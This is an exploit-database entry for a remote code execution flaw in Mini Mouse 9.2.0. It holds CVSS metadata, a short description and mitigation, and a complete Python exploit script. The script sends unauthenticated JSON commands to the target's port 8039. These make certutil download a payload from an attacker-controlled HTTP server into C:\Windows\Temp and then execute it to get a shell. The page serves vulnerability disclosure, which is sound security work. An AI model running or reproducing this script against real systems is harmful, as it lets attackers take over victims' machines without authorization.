Mini Mouse 9.2.0 - Remote Code Execution

vendor:

Mini Mouse

by:

gosh

9.8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Mini Mouse

Affected Version From: 9.2.0

Affected Version To: 9.2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:yodinfo:minimouse

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro build 19042.662

2021

Mini Mouse 9.2.0 – Remote Code Execution

This exploit allows an attacker to execute arbitrary code on a vulnerable Mini Mouse 9.2.0 system. The attacker can send a malicious payload to the target system via a POST request to the vulnerable URL. The payload is then downloaded and executed on the target system.

Mitigation:

The vendor should patch the vulnerability and update the software to the latest version.

Source

Exploit-DB raw data:

# Exploit Title: Mini Mouse 9.2.0 - Remote Code Execution
# Author: gosh
# Date: 01-04-2021
# Vendor Homepage: http://yodinfo.com
# Software Link: https://imgv.oss-cn-hangzhou.aliyuncs.com/minimouse.msi
# Version: 9.2.0
# Tested on: Windows 10 Pro build 19042.662

#!/usr/bin/python3
import requests
import json
import jsonargparse
from time import sleep

ip = input("target's ip:  ")
lhost = input("local http server ip: ")
name = input("payload file name: ")
url = "http://{}:8039/op=command".format(ip)
headers = {"Content-Type": "application/json", "Connection": "keep-alive", "Accept": "*/*", "User-Agent": "MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)", "Accept-Language": "en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8", "Accept-Encoding": "gzip, deflate"}
down = {"command_operate_type": 0, "name": "abc", "script": f"certutil.exe -urlcache -split -f http://{lhost}/{name} C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000}
r = requests.post(url, headers=headers, json=down)
print("[+] Retrieving payload")
sleep(1)
shell={"command_operate_type": 0, "name": "abd", "script": f"start /B C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000}
s = requests.post(url, headers=headers, json=shell)
print (r.status_code)
print ("[+] got shell!")